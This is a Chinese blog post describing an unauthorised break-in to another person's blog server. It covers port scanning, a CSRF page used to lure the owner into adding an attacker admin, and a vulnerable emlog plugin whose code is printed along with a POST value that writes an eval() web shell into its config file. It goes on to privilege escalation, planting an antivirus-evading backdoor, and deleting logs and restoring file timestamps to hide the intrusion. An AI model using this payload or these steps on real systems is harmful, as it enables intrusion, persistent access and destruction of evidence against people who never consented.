某黑客站
对某黑客博客的一次测试,记录下。
信息收集
独立 VPS,无 CDN,IP:8.8.8.8,Windows 2003 操作系统。nmap 扫描端口,发现开放 80,135,999,1025,1026,3306,3389 端口。
端口 | 信息 | 利用 |
---|---|---|
80 | IIS 6, emlog | 脚本入侵,利用 emlog 漏洞 |
135 | MSRPC | |
999 | IIS | |
1025 | MSRPC | |
1025 | MSRPC | |
3306 | MySQL,无法外连 | 提权时可考虑 |
3389 | MS-WBT-SERVER | 暴力破解3389 密码 |
漏洞挖掘
从 web 入手,emlog 博客程序后台添加管理处无 token 认证,即存在 CSRF 漏洞。当服务器支持 zip 解压时,后台可通过上传插件活主题 getshell;服务器不支持 zip 解压时,可以考虑审计插件 getshell。
漏洞利用
利用 Phithon 编写的 emlog exp。编写 CSRF 页面,传到肉鸡服务器上,通过评论插入链接诱使黑客访问。
数日后,黑客登录后台,访问链接成功添加管理。
利用新添加的管理登录后台,试图通过上传主题 getshell,却发现服务器不支持 zip 解压,于是改变方向对插件进行审计。博客安装了个邮件通知插件,审计挖掘到一枚文件写入漏洞:
function plugin_setting(){
require (EMLOG_ROOT . '/content/plugins/commentNotice/commentNotice_config.php');
foreach (explode(",",$_POST['exclude']) as $exclude){
$excludes = $excludes.'"'.$exclude.'"'.",";
}
$excludes=rtrim($excludes, ",");
$newConfig = ' "'.$_POST["host"].'", //smtp服务器
"smtpUser" => "'.$_POST["user"].'", //发件邮箱
"smtpPwd" => "'.$_POST["pwd"].'", //发信邮箱密码
"rule" => "'.$_POST["rule"].'", //0为所有人,1为仅自己
"exclude" => array(
'.$excludes.'
)
);?>';
@file_put_contents(EMLOG_ROOT.'/content/plugins/commentNotice/commentNotice_config.php', $newConfig);
}
对 POST 参数未做任何过滤就写入到本地配置文件中,于是构造:
$_POST["host"] => ");@eval($_POST['xxoo']);?>
成功写入文件,getshell。
权限提升
Windows 2003,支持 aspx,可以执行命令。查看系统信息,发现补丁打的很全,MYSQL 被降权,多余的第三方软件也没有,一时陷入僵局。
一段时间后,不知什么原因,黑客更换了服务器,重新查看信息后发现补丁都没有打了,尝试 pr 提权,报错:找不到 wmi 进程,其他的 exp 也都失败。扔给音符牛,还是用 pr 提下了,应该是期间黑客重启 IIS 了。
后门 & 日志清理
网站写入免杀马,删除相关日志,将修改过的文件都恢复至原样,文件时间修改至与其他文件时间一致。
经验总结
- PR 找不到 WMI:http://www.91ri.org/7010.html
- 经验很重要!
感谢 @音符牛。